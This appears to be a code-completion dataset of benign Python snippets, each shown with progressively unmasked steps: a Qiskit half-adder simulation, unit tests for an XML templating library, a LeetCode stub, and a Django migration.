{ "blob_id": "02381f28ef20aa0c2c235ef6563e1810a5931e35", "index": 5556, "step-1": "<mask token>\n", "step-2": "<mask token>\nqc_ha.x(0)\nqc_ha.x(1)\nqc_ha.barrier()\nqc_ha.cx(0, 2)\nqc_ha.cx(1, 2)\nqc_ha.ccx(0, 1, 3)\nqc_ha.barrier()\nqc_ha.measure(2, 0)\nqc_ha.measure(3, 1)\n<mask token>\nplot_histogram(counts)\nplt.show()\n", "step-3": "<mask token>\nqc_ha = QuantumCircuit(4, 2)\nqc_ha.x(0)\nqc_ha.x(1)\nqc_ha.barrier()\nqc_ha.cx(0, 2)\nqc_ha.cx(1, 2)\nqc_ha.ccx(0, 1, 3)\nqc_ha.barrier()\nqc_ha.measure(2, 0)\nqc_ha.measure(3, 1)\ncounts = execute(qc_ha, Aer.get_backend('qasm_simulator')).result().get_counts(\n )\nplot_histogram(counts)\nplt.show()\n", "step-4": "from qiskit import QuantumCircuit, execute, Aer\nfrom qiskit.visualization import plot_histogram\nimport matplotlib.pyplot as plt\nqc_ha = QuantumCircuit(4, 2)\nqc_ha.x(0)\nqc_ha.x(1)\nqc_ha.barrier()\nqc_ha.cx(0, 2)\nqc_ha.cx(1, 2)\nqc_ha.ccx(0, 1, 3)\nqc_ha.barrier()\nqc_ha.measure(2, 0)\nqc_ha.measure(3, 1)\ncounts = execute(qc_ha, Aer.get_backend('qasm_simulator')).result().get_counts(\n )\nplot_histogram(counts)\nplt.show()\n", "step-5": "from qiskit import QuantumCircuit,execute,Aer\nfrom qiskit.visualization import plot_histogram\nimport matplotlib.pyplot as plt\n\nqc_ha=QuantumCircuit(4,2)\nqc_ha.x(0)\nqc_ha.x(1)\nqc_ha.barrier()\nqc_ha.cx(0,2)\nqc_ha.cx(1,2)\nqc_ha.ccx(0,1,3)\nqc_ha.barrier()\nqc_ha.measure(2,0)\nqc_ha.measure(3,1)\n#qc_ha.draw(output='mpl')\ncounts = execute(qc_ha,Aer.get_backend('qasm_simulator')).result().get_counts()\nplot_histogram(counts)\nplt.show()\n\n\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> class BaseElementTest(TestCase): <|reserved_special_token_0|> <|reserved_special_token_0|> def test_parse_expressions(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val == 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'a in val', (constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) self.assertIsInstance(e.xml_attrs[ '{https://doculabs.io/2020/xtmpl#control}if'], Condition) self.assertIsInstance(e.xml_attrs[ '{https://doculabs.io/2020/xtmpl#control}for'], ForLoop) self.assertIsInstance(e.xml_attrs[ '{https://doculabs.io/2020/xtmpl#data-binding}attr2'], Bind) <|reserved_special_token_0|> def test_eval_forloop(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'a in val', (None, 'class'): 'class_name'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val': [1, 2, 3]}, indent=0).getvalue() self.assertXmlEqual(xml, 'assets/elements/forloop.xml') <|reserved_special_token_0|> def test_if_and_for_precedence(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val > 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'val in val2', (constants.XML_NAMESPACE_DATA_BINDING, 'attr1'): 'val'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val2': [7, 8, 9], 'val': 7}, indent=0 ).getvalue() self.assertXmlEqual(xml, 'assets/elements/if_and_for.xml') def test_render_anonymuselement(self): e = AnonymusElement(text='example') self.assertEqual(e.to_string(context={}).getvalue(), 'example\n') <|reserved_special_token_1|> <|reserved_special_token_0|> class BaseElementTest(TestCase): def assertXmlEqual(self, generated_xml: str, xml_benchmark: Path): xml_benchmark = Path(__file__).parent / xml_benchmark with xml_benchmark.open('r', encoding='utf-8') as f: xml_benchmark = f.read() self.assertEqual(generated_xml, xml_benchmark) <|reserved_special_token_0|> def test_parse_expressions(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val == 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'a in val', (constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) self.assertIsInstance(e.xml_attrs[ '{https://doculabs.io/2020/xtmpl#control}if'], Condition) self.assertIsInstance(e.xml_attrs[ '{https://doculabs.io/2020/xtmpl#control}for'], ForLoop) self.assertIsInstance(e.xml_attrs[ '{https://doculabs.io/2020/xtmpl#data-binding}attr2'], Bind) def test_data_binding(self): xml_attrs = {(constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val': 'example_value'}, indent=0).getvalue( ) self.assertEqual(xml, '<tag attr2="example_value">\n</tag>\n') def test_eval_forloop(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'a in val', (None, 'class'): 'class_name'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val': [1, 2, 3]}, indent=0).getvalue() self.assertXmlEqual(xml, 'assets/elements/forloop.xml') <|reserved_special_token_0|> def test_if_and_for_precedence(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val > 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'val in val2', (constants.XML_NAMESPACE_DATA_BINDING, 'attr1'): 'val'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val2': [7, 8, 9], 'val': 7}, indent=0 ).getvalue() self.assertXmlEqual(xml, 'assets/elements/if_and_for.xml') def test_render_anonymuselement(self): e = AnonymusElement(text='example') self.assertEqual(e.to_string(context={}).getvalue(), 'example\n') <|reserved_special_token_1|> <|reserved_special_token_0|> class BaseElementTest(TestCase): def assertXmlEqual(self, generated_xml: str, xml_benchmark: Path): xml_benchmark = Path(__file__).parent / xml_benchmark with xml_benchmark.open('r', encoding='utf-8') as f: xml_benchmark = f.read() self.assertEqual(generated_xml, xml_benchmark) def test_parse_xml_attributes(self): xml_attrs = {(None, 'attr1'): 'val1', ('http://example.org', 'attr2'): 'val2'} element = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) self.assertEqual(element.xml_attrs, {'attr1': 'val1', '{http://example.org}attr2': 'val2'}) def test_parse_expressions(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val == 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'a in val', (constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) self.assertIsInstance(e.xml_attrs[ '{https://doculabs.io/2020/xtmpl#control}if'], Condition) self.assertIsInstance(e.xml_attrs[ '{https://doculabs.io/2020/xtmpl#control}for'], ForLoop) self.assertIsInstance(e.xml_attrs[ '{https://doculabs.io/2020/xtmpl#data-binding}attr2'], Bind) def test_data_binding(self): xml_attrs = {(constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val': 'example_value'}, indent=0).getvalue( ) self.assertEqual(xml, '<tag attr2="example_value">\n</tag>\n') def test_eval_forloop(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'a in val', (None, 'class'): 'class_name'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val': [1, 2, 3]}, indent=0).getvalue() self.assertXmlEqual(xml, 'assets/elements/forloop.xml') <|reserved_special_token_0|> def test_if_and_for_precedence(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val > 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'val in val2', (constants.XML_NAMESPACE_DATA_BINDING, 'attr1'): 'val'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val2': [7, 8, 9], 'val': 7}, indent=0 ).getvalue() self.assertXmlEqual(xml, 'assets/elements/if_and_for.xml') def test_render_anonymuselement(self): e = AnonymusElement(text='example') self.assertEqual(e.to_string(context={}).getvalue(), 'example\n') <|reserved_special_token_1|> <|reserved_special_token_0|> class BaseElementTest(TestCase): def assertXmlEqual(self, generated_xml: str, xml_benchmark: Path): xml_benchmark = Path(__file__).parent / xml_benchmark with xml_benchmark.open('r', encoding='utf-8') as f: xml_benchmark = f.read() self.assertEqual(generated_xml, xml_benchmark) def test_parse_xml_attributes(self): xml_attrs = {(None, 'attr1'): 'val1', ('http://example.org', 'attr2'): 'val2'} element = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) self.assertEqual(element.xml_attrs, {'attr1': 'val1', '{http://example.org}attr2': 'val2'}) def test_parse_expressions(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val == 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'a in val', (constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) self.assertIsInstance(e.xml_attrs[ '{https://doculabs.io/2020/xtmpl#control}if'], Condition) self.assertIsInstance(e.xml_attrs[ '{https://doculabs.io/2020/xtmpl#control}for'], ForLoop) self.assertIsInstance(e.xml_attrs[ '{https://doculabs.io/2020/xtmpl#data-binding}attr2'], Bind) def test_data_binding(self): xml_attrs = {(constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val': 'example_value'}, indent=0).getvalue( ) self.assertEqual(xml, '<tag attr2="example_value">\n</tag>\n') def test_eval_forloop(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'a in val', (None, 'class'): 'class_name'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val': [1, 2, 3]}, indent=0).getvalue() self.assertXmlEqual(xml, 'assets/elements/forloop.xml') def test_eval_if(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val == 7', (None, 'class'): 'class_name'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val': 8}, indent=0).getvalue() self.assertEqual(xml, '') xml = e.to_string(context={'val': 7}, indent=0).getvalue() self.assertXmlEqual(xml, 'assets/elements/ifcond.xml') def test_if_and_for_precedence(self): xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val > 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'val in val2', (constants.XML_NAMESPACE_DATA_BINDING, 'attr1'): 'val'} e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val2': [7, 8, 9], 'val': 7}, indent=0 ).getvalue() self.assertXmlEqual(xml, 'assets/elements/if_and_for.xml') def test_render_anonymuselement(self): e = AnonymusElement(text='example') self.assertEqual(e.to_string(context={}).getvalue(), 'example\n') <|reserved_special_token_1|> from io import StringIO from pathlib import Path from unittest import TestCase from doculabs.samon import constants from doculabs.samon.elements import BaseElement, AnonymusElement from doculabs.samon.expressions import Condition, ForLoop, Bind class BaseElementTest(TestCase): def assertXmlEqual(self, generated_xml: str, xml_benchmark: Path): xml_benchmark = Path(__file__).parent / xml_benchmark with xml_benchmark.open('r', encoding='utf-8') as f: xml_benchmark = f.read() self.assertEqual(generated_xml, xml_benchmark) def test_parse_xml_attributes(self): xml_attrs = { # AttributesNSImpl like object (None, 'attr1'): 'val1', # NS, attr_name ('http://example.org', 'attr2'): 'val2' } element = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) self.assertEqual(element.xml_attrs, {'attr1': 'val1', '{http://example.org}attr2': 'val2'}) def test_parse_expressions(self): xml_attrs = { (constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val == 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'a in val', (constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val' } e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) self.assertIsInstance(e.xml_attrs['{https://doculabs.io/2020/xtmpl#control}if'], Condition) self.assertIsInstance(e.xml_attrs['{https://doculabs.io/2020/xtmpl#control}for'], ForLoop) self.assertIsInstance(e.xml_attrs['{https://doculabs.io/2020/xtmpl#data-binding}attr2'], Bind) def test_data_binding(self): xml_attrs = { (constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val' } e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val': 'example_value'}, indent=0).getvalue() self.assertEqual(xml, '<tag attr2="example_value">\n</tag>\n') def test_eval_forloop(self): xml_attrs = { (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'a in val', (None, 'class'): 'class_name' } e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val': [1, 2, 3]}, indent=0).getvalue() self.assertXmlEqual(xml, 'assets/elements/forloop.xml') def test_eval_if(self): xml_attrs = { (constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val == 7', (None, 'class'): 'class_name' } e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val': 8}, indent=0).getvalue() self.assertEqual(xml, '') xml = e.to_string(context={'val': 7}, indent=0).getvalue() self.assertXmlEqual(xml, 'assets/elements/ifcond.xml') def test_if_and_for_precedence(self): xml_attrs = { (constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val > 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'val in val2', (constants.XML_NAMESPACE_DATA_BINDING, 'attr1'): 'val', } e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs) xml = e.to_string(context={'val2': [7, 8, 9], 'val': 7}, indent=0).getvalue() self.assertXmlEqual(xml, 'assets/elements/if_and_for.xml') def test_render_anonymuselement(self): e = AnonymusElement(text='example') self.assertEqual(e.to_string(context={}).getvalue(), 'example\n')
flexible
{ "blob_id": "c6b98cf309e2f1a0d279ec8dc728ffd3fe45dfdb", "index": 4792, "step-1": "<mask token>\n\n\nclass BaseElementTest(TestCase):\n <mask token>\n <mask token>\n\n def test_parse_expressions(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'):\n 'val == 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'):\n 'a in val', (constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n self.assertIsInstance(e.xml_attrs[\n '{https://doculabs.io/2020/xtmpl#control}if'], Condition)\n self.assertIsInstance(e.xml_attrs[\n '{https://doculabs.io/2020/xtmpl#control}for'], ForLoop)\n self.assertIsInstance(e.xml_attrs[\n '{https://doculabs.io/2020/xtmpl#data-binding}attr2'], Bind)\n <mask token>\n\n def test_eval_forloop(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'for'):\n 'a in val', (None, 'class'): 'class_name'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val': [1, 2, 3]}, indent=0).getvalue()\n self.assertXmlEqual(xml, 'assets/elements/forloop.xml')\n <mask token>\n\n def test_if_and_for_precedence(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'):\n 'val > 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'):\n 'val in val2', (constants.XML_NAMESPACE_DATA_BINDING, 'attr1'):\n 'val'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val2': [7, 8, 9], 'val': 7}, indent=0\n ).getvalue()\n self.assertXmlEqual(xml, 'assets/elements/if_and_for.xml')\n\n def test_render_anonymuselement(self):\n e = AnonymusElement(text='example')\n self.assertEqual(e.to_string(context={}).getvalue(), 'example\\n')\n", "step-2": "<mask token>\n\n\nclass BaseElementTest(TestCase):\n\n def assertXmlEqual(self, generated_xml: str, xml_benchmark: Path):\n xml_benchmark = Path(__file__).parent / xml_benchmark\n with xml_benchmark.open('r', encoding='utf-8') as f:\n xml_benchmark = f.read()\n self.assertEqual(generated_xml, xml_benchmark)\n <mask token>\n\n def test_parse_expressions(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'):\n 'val == 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'):\n 'a in val', (constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n self.assertIsInstance(e.xml_attrs[\n '{https://doculabs.io/2020/xtmpl#control}if'], Condition)\n self.assertIsInstance(e.xml_attrs[\n '{https://doculabs.io/2020/xtmpl#control}for'], ForLoop)\n self.assertIsInstance(e.xml_attrs[\n '{https://doculabs.io/2020/xtmpl#data-binding}attr2'], Bind)\n\n def test_data_binding(self):\n xml_attrs = {(constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val': 'example_value'}, indent=0).getvalue(\n )\n self.assertEqual(xml, '<tag attr2=\"example_value\">\\n</tag>\\n')\n\n def test_eval_forloop(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'for'):\n 'a in val', (None, 'class'): 'class_name'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val': [1, 2, 3]}, indent=0).getvalue()\n self.assertXmlEqual(xml, 'assets/elements/forloop.xml')\n <mask token>\n\n def test_if_and_for_precedence(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'):\n 'val > 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'):\n 'val in val2', (constants.XML_NAMESPACE_DATA_BINDING, 'attr1'):\n 'val'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val2': [7, 8, 9], 'val': 7}, indent=0\n ).getvalue()\n self.assertXmlEqual(xml, 'assets/elements/if_and_for.xml')\n\n def test_render_anonymuselement(self):\n e = AnonymusElement(text='example')\n self.assertEqual(e.to_string(context={}).getvalue(), 'example\\n')\n", "step-3": "<mask token>\n\n\nclass BaseElementTest(TestCase):\n\n def assertXmlEqual(self, generated_xml: str, xml_benchmark: Path):\n xml_benchmark = Path(__file__).parent / xml_benchmark\n with xml_benchmark.open('r', encoding='utf-8') as f:\n xml_benchmark = f.read()\n self.assertEqual(generated_xml, xml_benchmark)\n\n def test_parse_xml_attributes(self):\n xml_attrs = {(None, 'attr1'): 'val1', ('http://example.org',\n 'attr2'): 'val2'}\n element = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n self.assertEqual(element.xml_attrs, {'attr1': 'val1',\n '{http://example.org}attr2': 'val2'})\n\n def test_parse_expressions(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'):\n 'val == 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'):\n 'a in val', (constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n self.assertIsInstance(e.xml_attrs[\n '{https://doculabs.io/2020/xtmpl#control}if'], Condition)\n self.assertIsInstance(e.xml_attrs[\n '{https://doculabs.io/2020/xtmpl#control}for'], ForLoop)\n self.assertIsInstance(e.xml_attrs[\n '{https://doculabs.io/2020/xtmpl#data-binding}attr2'], Bind)\n\n def test_data_binding(self):\n xml_attrs = {(constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val': 'example_value'}, indent=0).getvalue(\n )\n self.assertEqual(xml, '<tag attr2=\"example_value\">\\n</tag>\\n')\n\n def test_eval_forloop(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'for'):\n 'a in val', (None, 'class'): 'class_name'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val': [1, 2, 3]}, indent=0).getvalue()\n self.assertXmlEqual(xml, 'assets/elements/forloop.xml')\n <mask token>\n\n def test_if_and_for_precedence(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'):\n 'val > 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'):\n 'val in val2', (constants.XML_NAMESPACE_DATA_BINDING, 'attr1'):\n 'val'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val2': [7, 8, 9], 'val': 7}, indent=0\n ).getvalue()\n self.assertXmlEqual(xml, 'assets/elements/if_and_for.xml')\n\n def test_render_anonymuselement(self):\n e = AnonymusElement(text='example')\n self.assertEqual(e.to_string(context={}).getvalue(), 'example\\n')\n", "step-4": "<mask token>\n\n\nclass BaseElementTest(TestCase):\n\n def assertXmlEqual(self, generated_xml: str, xml_benchmark: Path):\n xml_benchmark = Path(__file__).parent / xml_benchmark\n with xml_benchmark.open('r', encoding='utf-8') as f:\n xml_benchmark = f.read()\n self.assertEqual(generated_xml, xml_benchmark)\n\n def test_parse_xml_attributes(self):\n xml_attrs = {(None, 'attr1'): 'val1', ('http://example.org',\n 'attr2'): 'val2'}\n element = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n self.assertEqual(element.xml_attrs, {'attr1': 'val1',\n '{http://example.org}attr2': 'val2'})\n\n def test_parse_expressions(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'):\n 'val == 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'):\n 'a in val', (constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n self.assertIsInstance(e.xml_attrs[\n '{https://doculabs.io/2020/xtmpl#control}if'], Condition)\n self.assertIsInstance(e.xml_attrs[\n '{https://doculabs.io/2020/xtmpl#control}for'], ForLoop)\n self.assertIsInstance(e.xml_attrs[\n '{https://doculabs.io/2020/xtmpl#data-binding}attr2'], Bind)\n\n def test_data_binding(self):\n xml_attrs = {(constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val': 'example_value'}, indent=0).getvalue(\n )\n self.assertEqual(xml, '<tag attr2=\"example_value\">\\n</tag>\\n')\n\n def test_eval_forloop(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'for'):\n 'a in val', (None, 'class'): 'class_name'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val': [1, 2, 3]}, indent=0).getvalue()\n self.assertXmlEqual(xml, 'assets/elements/forloop.xml')\n\n def test_eval_if(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'):\n 'val == 7', (None, 'class'): 'class_name'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val': 8}, indent=0).getvalue()\n self.assertEqual(xml, '')\n xml = e.to_string(context={'val': 7}, indent=0).getvalue()\n self.assertXmlEqual(xml, 'assets/elements/ifcond.xml')\n\n def test_if_and_for_precedence(self):\n xml_attrs = {(constants.XML_NAMESPACE_FLOW_CONTROL, 'if'):\n 'val > 7', (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'):\n 'val in val2', (constants.XML_NAMESPACE_DATA_BINDING, 'attr1'):\n 'val'}\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val2': [7, 8, 9], 'val': 7}, indent=0\n ).getvalue()\n self.assertXmlEqual(xml, 'assets/elements/if_and_for.xml')\n\n def test_render_anonymuselement(self):\n e = AnonymusElement(text='example')\n self.assertEqual(e.to_string(context={}).getvalue(), 'example\\n')\n", "step-5": "from io import StringIO\nfrom pathlib import Path\nfrom unittest import TestCase\n\nfrom doculabs.samon import constants\nfrom doculabs.samon.elements import BaseElement, AnonymusElement\nfrom doculabs.samon.expressions import Condition, ForLoop, Bind\n\n\nclass BaseElementTest(TestCase):\n def assertXmlEqual(self, generated_xml: str, xml_benchmark: Path):\n xml_benchmark = Path(__file__).parent / xml_benchmark\n with xml_benchmark.open('r', encoding='utf-8') as f:\n xml_benchmark = f.read()\n\n self.assertEqual(generated_xml, xml_benchmark)\n\n def test_parse_xml_attributes(self):\n xml_attrs = { # AttributesNSImpl like object\n (None, 'attr1'): 'val1', # NS, attr_name\n ('http://example.org', 'attr2'): 'val2'\n }\n\n element = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n self.assertEqual(element.xml_attrs, {'attr1': 'val1', '{http://example.org}attr2': 'val2'})\n\n def test_parse_expressions(self):\n xml_attrs = {\n (constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val == 7',\n (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'a in val',\n (constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'\n }\n\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n self.assertIsInstance(e.xml_attrs['{https://doculabs.io/2020/xtmpl#control}if'], Condition)\n self.assertIsInstance(e.xml_attrs['{https://doculabs.io/2020/xtmpl#control}for'], ForLoop)\n self.assertIsInstance(e.xml_attrs['{https://doculabs.io/2020/xtmpl#data-binding}attr2'], Bind)\n\n def test_data_binding(self):\n xml_attrs = {\n (constants.XML_NAMESPACE_DATA_BINDING, 'attr2'): 'val'\n }\n\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val': 'example_value'}, indent=0).getvalue()\n self.assertEqual(xml, '<tag attr2=\"example_value\">\\n</tag>\\n')\n\n def test_eval_forloop(self):\n xml_attrs = {\n (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'a in val',\n (None, 'class'): 'class_name'\n }\n\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val': [1, 2, 3]}, indent=0).getvalue()\n self.assertXmlEqual(xml, 'assets/elements/forloop.xml')\n\n def test_eval_if(self):\n xml_attrs = {\n (constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val == 7',\n (None, 'class'): 'class_name'\n }\n\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val': 8}, indent=0).getvalue()\n self.assertEqual(xml, '')\n\n xml = e.to_string(context={'val': 7}, indent=0).getvalue()\n self.assertXmlEqual(xml, 'assets/elements/ifcond.xml')\n\n def test_if_and_for_precedence(self):\n xml_attrs = {\n (constants.XML_NAMESPACE_FLOW_CONTROL, 'if'): 'val > 7',\n (constants.XML_NAMESPACE_FLOW_CONTROL, 'for'): 'val in val2',\n (constants.XML_NAMESPACE_DATA_BINDING, 'attr1'): 'val',\n }\n\n e = BaseElement(xml_tag='tag', xml_attrs=xml_attrs)\n xml = e.to_string(context={'val2': [7, 8, 9], 'val': 7}, indent=0).getvalue()\n self.assertXmlEqual(xml, 'assets/elements/if_and_for.xml')\n\n def test_render_anonymuselement(self):\n e = AnonymusElement(text='example')\n self.assertEqual(e.to_string(context={}).getvalue(), 'example\\n')\n", "step-ids": [ 5, 7, 8, 9, 11 ] }
[ 5, 7, 8, 9, 11 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> class Solution: <|reserved_special_token_0|> <|reserved_special_token_1|> class Solution: def longestCommonPrefix(self, strs: List[str]) ->str: pass <|reserved_special_token_1|> # # @lc app=leetcode id=14 lang=python3 # # [14] Longest Common Prefix # # @lc code=start class Solution: def longestCommonPrefix(self, strs: List[str]) -> str: pass # At the moment I just wanna test my workspace so it's working tomorrow it's time for the problems # @lc code=end
flexible
{ "blob_id": "401c6b09edf593e00aecf5bbb1b2201effc9e78c", "index": 7384, "step-1": "<mask token>\n", "step-2": "class Solution:\n <mask token>\n", "step-3": "class Solution:\n\n def longestCommonPrefix(self, strs: List[str]) ->str:\n pass\n", "step-4": "#\n# @lc app=leetcode id=14 lang=python3\n#\n# [14] Longest Common Prefix\n#\n\n# @lc code=start\nclass Solution:\n def longestCommonPrefix(self, strs: List[str]) -> str:\n pass\n # At the moment I just wanna test my workspace so it's working tomorrow it's time for the problems\n \n# @lc code=end\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): dependencies = [('website', '0001_initial')] operations = [migrations.AlterField(model_name='tasks', name= 'cleanlinessLevel', field=models.IntegerField())] <|reserved_special_token_1|> from django.db import migrations, models class Migration(migrations.Migration): dependencies = [('website', '0001_initial')] operations = [migrations.AlterField(model_name='tasks', name= 'cleanlinessLevel', field=models.IntegerField())] <|reserved_special_token_1|> # Generated by Django 3.2.6 on 2021-08-15 05:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('website', '0001_initial'), ] operations = [ migrations.AlterField( model_name='tasks', name='cleanlinessLevel', field=models.IntegerField(), ), ]
flexible
